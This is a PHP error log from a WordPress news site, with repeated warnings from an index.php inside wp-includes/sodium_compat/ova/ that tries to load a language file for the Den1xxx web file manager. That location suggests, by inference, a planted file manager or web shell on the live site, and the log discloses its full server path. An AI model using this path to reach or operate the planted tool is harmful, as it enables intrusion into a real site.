91 [30-Aug-2025 08:15:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:24 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:28 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:15:28 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:15:28 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:15:28 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:15:29 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:15:29 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:15:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:40 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:55 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:15:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:16:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:16:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:16:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:16:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:16:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:16:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:16:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:16:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:16:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:16:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:16:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:16:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:02 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:09 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:17:09 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:17:09 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:17:09 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:17:09 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:17:09 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:17:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:12 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 08:17:12 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 08:17:12 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 08:17:12 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 08:17:12 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 08:17:12 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 08:17:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:18 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:19 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:24 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:26 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:43 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:44 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:44 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:45 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:49 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:55 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:17:56 UTC] 